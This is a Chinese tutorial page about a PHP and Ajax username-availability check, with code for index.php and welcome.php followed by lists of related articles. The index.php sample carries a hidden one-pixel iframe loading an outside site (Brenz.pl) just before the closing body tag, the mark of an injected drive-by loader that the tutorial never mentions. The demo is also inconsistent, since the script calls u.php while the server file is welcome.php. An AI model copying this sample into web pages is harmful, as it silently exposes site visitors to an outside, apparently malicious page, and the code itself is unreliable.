PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
将RTF格式的文件转成HTML并在网页中显示的代码
Oct 09 PHP
php strstr查找字符串中是否包含某些字符的查找函数
Jun 03 PHP
PHP+Mysql树型结构(无限分类)数据库设计的2种方式实例
Jul 15 PHP
PHP遍历XML文档所有节点的方法
Mar 12 PHP
详解WordPress开发中wp_title()函数的用法
Jan 07 PHP
PHP邮箱验证示例教程
Jun 01 PHP
PHP实现判断数组是一维、二维或几维的方法
Feb 06 PHP
php获取ip及网址的简单方法(必看)
Apr 01 PHP
PHP里面把16进制的图片数据显示在html的img标签上(实现方法)
May 02 PHP
ThinkPHP整合datatables实现服务端分页的示例代码
Feb 10 PHP
PHP实现的多维数组去重操作示例
Jul 21 PHP
PHP的mysqli_select_db()函数讲解
Jan 23 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
php中ltrim()、rtrim()与trim()删除字符空格实例
2014/11/25 PHP
PHP实现文件上传操作和封装
2020/03/04 PHP
js几个不错的函数 $$()
2006/10/09 Javascript
jquery 注意事项与常用语法小结
2010/06/07 Javascript
基于jQuery的的一个隔行变色,鼠标移动变色的小插件
2010/07/06 Javascript
游览器中javascript的执行过程(图文)
2012/05/20 Javascript
JSON语法五大要素图文介绍
2012/12/04 Javascript
Node.js抓取中文网页乱码问题和解决方法
2015/02/10 Javascript
JS自定义选项卡函数及用法实例分析
2015/09/02 Javascript
javascript同步服务器时间和同步倒计时小技巧
2015/09/24 Javascript
深入浅析AngularJS中的module(模块)
2016/01/04 Javascript
Node.js实现兼容IE789的文件上传进度条
2016/09/02 Javascript
JS回调函数简单用法示例
2017/02/09 Javascript
bootstrapValidator 重新启用提交按钮的方法
2017/02/20 Javascript
vue如何引用其他组件(css和js)
2017/04/13 Javascript
js封装成插件_Canvas统计图插件编写实例
2017/09/12 Javascript
nodejs实现连接mongodb数据库的方法示例
2018/03/15 NodeJs
vue 使用高德地图vue-amap组件过程解析
2019/09/07 Javascript
微信小程序 this.triggerEvent()的具体使用
2019/12/10 Javascript
[01:21]辉夜杯战队访谈宣传片—CDEC
2015/12/25 DOTA
python回调函数用法实例分析
2015/05/09 Python
python抓取网页中图片并保存到本地
2015/12/01 Python
Python 通过pip安装Django详细介绍
2017/04/28 Python
python实现输入的数据在地图上生成热力图效果
2019/12/06 Python
python3实现raspberry pi(树莓派)4驱小车控制程序
2020/02/12 Python
基于python实现简单网页服务器代码实例
2020/09/14 Python
python IP地址转整数
2020/11/20 Python
英国领先的维生素和营养补充剂直接供应商:Healthspan
2019/04/22 全球购物
介绍一下write命令
2012/09/24 面试题
销售顾问的岗位职责
2013/11/13 职场文书
播音主持专业个人自我评价
2014/01/09 职场文书
法人委托书
2014/07/31 职场文书
大二学生学年自我鉴定
2014/09/12 职场文书
学习群众路线的心得体会
2014/11/05 职场文书
2015年车间主任工作总结
2015/05/21 职场文书
python脚本框架webpy的url映射详解
2021/11/20 Python